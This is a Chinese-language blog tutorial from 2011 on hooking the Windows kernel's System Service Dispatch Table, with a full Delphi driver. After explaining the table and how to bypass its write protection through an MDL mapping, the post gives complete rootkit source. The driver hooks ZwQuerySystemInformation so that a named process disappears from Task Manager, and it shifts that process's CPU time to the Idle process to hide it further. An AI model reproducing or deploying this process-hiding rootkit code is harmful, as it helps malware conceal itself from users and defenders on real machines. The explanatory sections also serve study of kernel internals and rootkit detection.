2011年7月28日星期四

SSDT Hook原理及Delphi實現

作者:mickeylan
  
一、一般思路:
1.先來了解一下,什麼是SSDT
SSDT即System Service Dispath Table。在了解它之前,我們先了解一下NT的基本組件。在Windows NT 下,NT 的executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各種Win32、OS/2 和POSIX 的APIs 都是以DLL 的形式提供的。這些dll中的APIs 轉過來調用了NT executive 提供的服務。儘管調用了相同的系統服務,但由於子系統不同,API 函數的函數名也不同。例如,要用Win32 API 打開一個文件,應用程序會調用CreateFile(),而要用POSIX API,則應用程序調用open() 函數。這兩種應用程序最終都會調用NT executive 中的NtCreateFile() 系統服務。

用戶模式(User mode)的所有調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然後通過Int 2E或SYSENTER進入到內核模式,通過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,如下圖:

從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數的地址,那麼,哈哈。 。 。 。 。 。 。下來詳細了解一下,SSDT的結構,如下圖:

KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構如下:
TServiceDescriptorEntry=packed record
  ServiceTableBase:PULONG;
  ServiceCounterTableBase:PULONG;
  NumberOfServices:ULONG;
  ParamTableBase:PByte;
end;

其中,
ServiceTableBase -- System Service Dispatch Table 的基地址。
NumberOfServices 由ServiceTableBase 描述的服務的數目。
ServiceCounterTable 此域用於操作系統的checked builds,包含著SSDT 中每個服務被調用次數的計數器。這個計數器由INT 2Eh 處理程序(KiSystemService)更新。
ParamTableBase 包含每個系統服務參數字節數表的基地址。
System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每個地址4字節長。
System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是我們常用的和窗口,桌面有關的,具體存在於Win32k.sys。在如下圖:

右側的服務分發就通過KeServiceDescriptorTableShadow。
那麼下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向我們自己的函數。
2. Hook前的準備-改變SSDT內存的保護
系統對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是BSOD。一般可以修改內存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
(1)改變CR0寄存器的第1位
Windows對內存的分配,是採用的分頁管理。其中有個CR0寄存器,如下圖:

其中第1位叫做保護屬性位,控制著頁的讀或寫屬性。如果為1,則可以讀/寫/執行;如果為0,則只可以讀/執行。 SSDT、IDT的頁屬性在默認下都是只讀,可執行的,但不能寫。所以現在要把這一位設置成1。
(2) 通過Memory Descriptor List(MDL)
也就是把原來SSDT的區域映射到我們自己的MDL區域中,並把這個區域設置成可寫。 MDL的結構:
TMDL=packed record
  Next: PMDL;
  Size: CSHORT;
  MdlFlags: CSHORT;
  Process: PEPROCESS;
  MappedSystemVa: PVOID;
  StartVa: PVOID;
  ByteCount: ULONG;
  ByteOffset: ULONG;
end;

首先需要知道KeServiceDscriptorTable的基址和入口數,這樣就可以用MmCreateMdl創建一個有起始地址和大小的內存區域。然後把這個MDL結構的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那麼這個區域就可以寫了。最後把這個內存區域調用MmMapLockedPages鎖定在內存中。大體框架如下:

{ 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

現在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數的地址呢?
由於Delphi不支持導入其他模塊導出的變量,因此我們在這裡使用變通的方法,我們把KeServiceDescriptorTable當成函數導入。因此在處理上就和C不同了。由於KeServiceDescriptorTable是當成函數導入的,因此它的真實地址就保存在IAT表中,我們首先用GetImportFunAddr函數從IAT中取得KeServiceDescriptorTable的地址,接下來用SystemServiceName函數取得相應函數在SSDT中的地址。 SystemServiceName的原理就是因為所有的Zw*函數都開始於opcode:MOV eax, ULONG,這裡的ULONG就是系統調用函數在SSDT中的索引。接下來我們使用InterlockedExchange自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
3.小試牛刀:利用SSDT Hook隱藏進程
我們所熟知的任務管理器,能察看系統中的所有進程及其他很多信息,這是由於調用了一個叫ZwQuerySystemInformation的內核函數,其函數原型如下:
function ZwQuerySystemInformation(
  SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果這值是5,則代表系統中所有進程信息}
  SystemInformation: PVOID; {這就是最終列舉出的信息,和上面的值有關}
  SystemInformationLength: ULONG;
  ReturnLength: PULONG): NTSTATUS; stdcall;

如果用我們自己函數,這個函數可以把我們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大體思路如下:
(1) 突破SSDT的內存保護,如上所用的MDL方法
(2) 實現自己的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
(3) 用InterlockedExchange來交換ZwQuerySystemInformation與我們自己的New*函數
(4) 卸載New*函數,完成。
具體代碼如下:
unit ssdt_hook;

interface

uses
  nt_status, ntoskrnl, native, fcall, macros;

function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
                      pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;

implementation
type
  {定義ZwQuerySystemInformation函數類型}
  TZwQuerySystemInformation =
    function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
             SystemInformation: PVOID;
             SystemInformationLength: ULONG;
             ReturnLength: PULONG): NTSTATUS; stdcall;

var
  m_UserTime: LARGE_INTEGER;
  m_KernelTime: LARGE_INTEGER;
  OldZwQuerySystemInformation: TZwQuerySystemInformation;
  g_pmdlSystemCall: PMDL;
  MappedSystemCallTable: PPointer;
  lpKeServiceDescriptorTable: PServiceDescriptorEntry;

{ 由於Delphi無法導入其他模塊導出的變量,因此我們變通一下,將其
  當做函數導入,這樣,其真實地址就保存在IAT中,每條導入函數的
  IAT記錄有6字節,格式為jmp ds:[xxxxxxxx],機器碼為FF25xxxxxxxx,
  FF25是長跳轉的機器碼,跳過這2字節就是需要的地址。這點與C中不同,
  需要注意。 }
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//從導入表中獲取一個函數的地址
begin
  { 直接使用指針指向函數即可,還原SSDT的時候類似,也只需要指向
    KeServiceDescriptorTable }
  Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;

{ KeServiceDescriptorTable+函數名計算SSDT函數偏移 }
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
begin
  { SSDT偏移+函數名,就是SSDT函數偏移 }
  { Delphi 2009中支持Pointer Math運算,可以這樣寫 }
  {Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];}
  { 如果用其他版本,就只能像下面這樣寫了 }
  Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;

{ 我們的hook函數,過濾掉"InstDrv"的進程 }
function NewZwQuerySystemInformation(
            SystemInformationClass: SYSTEM_INFORMATION_CLASS;
            SystemInformation: PVOID;
            SystemInformationLength: ULONG;
            ReturnLength: PULONG): NTSTATUS; stdcall;
var
  nt_Status: NTSTATUS;
  curr, prev: PSYSTEM_PROCESSES;
  times: PSYSTEM_PROCESSOR_TIMES;
begin
  nt_Status := OldZwQuerySystemInformation(
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

  if NT_SUCCESS(nt_Status) then
  begin
    { 請求文件、目錄列表 }
    if SystemInformationClass = SystemProcessesAndThreadsInformation then
    begin
      { 列舉系統進程鍊錶 }
      { 尋找"InstDrv"進程 }
      curr := PSYSTEM_PROCESSES(SystemInformation);
      prev := nil;
      while curr <> nil do
      begin
        DbgPrint('Current item is %x'#13#10, curr);
        if curr^.ProcessName.Buffer <> nil then
        begin
          if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
          begin
            Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
            Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);

            if prev <> nil then
            begin
              { Middle or Last entry }
              if curr^.NextEntryDelta <> 0 then
                Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
              else
                { we are last, so make prev the end }
                prev^.NextEntryDelta := 0;
            end else
            begin
              if curr^.NextEntryDelta <> 0 then
              begin
                { we are first in the list, so move it forward }
                PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
                                                curr^.NextEntryDelta;
              end else { we are the only process! }
                SystemInformation := nil;
            end;
          end;
        end else { Idle process入口 }
        begin
          { 把InstDrv進程的時間加給Idle進程,Idle稱空閒時間 }
          Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
          Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);

          { 重設時間,為下一次過濾 }
          m_UserTime.QuadPart := 0;
          m_KernelTime.QuadPart := 0;
        end;
        prev := curr;
        if curr^.NextEntryDelta <> 0 then
          PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
        else
          curr := nil;
      end;
    end else if SystemInformationClass = SystemProcessorTimes then
    begin
      times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
      times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
                                  m_UserTime.QuadPart +
                                  m_KernelTime.QuadPart;
    end;
  end;
  Result := nt_Status;
end;

procedure OnUnload(DriverObject: PDRIVER_OBJECT); stdcall;
begin
  DbgPrint('ROOTKIT: OnUnload called'#13#10);

  { 卸載hook }
  InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                      LONG(@OldZwQuerySystemInformation));
  { 解鎖並釋放MDL }
  if g_pmdlSystemCall <> nil then
  begin
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  end;
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
                      pusRegistryPath: PUNICODE_STRING): NTSTATUS;
begin
  { 取得指向系統服務描述符表的指針…… }
  lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
  { 註冊一個卸載的分發函數,與與應用層溝通 }
  pDriverObject^.DriverUnload := @OnUnload;

  { 初始化全局時間為零 }
  { 這將會解決時間問題,如果不這樣,儘管隱藏了進程,但時間的
    消耗會不變,cpu 100% }
  m_UserTime.QuadPart := 0;
  m_KernelTime.QuadPart := 0;

  { 保存舊的函數地址 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));

  { 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

  { 把原來的Zw*替換成我們的New*函數。至此已完成了我們的主要兩步,
   先突破了SSDT的保護,接著用InterlockedExchange更改了目標函數,
   下來就剩下具體的過濾任務了 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                        LONG(@NewZwQuerySystemInformation)));

  Result := STATUS_SUCCESS;
end;

end.

這裡我隱藏了InstDrv這個進程,加載驅動後可以發現我們的驅動確實Hook了ZwQuerySystemInformation,而且在進程列表中也看不到InstDrv進程,說明我們的驅動是成功的^_^。

没有评论:

发表评论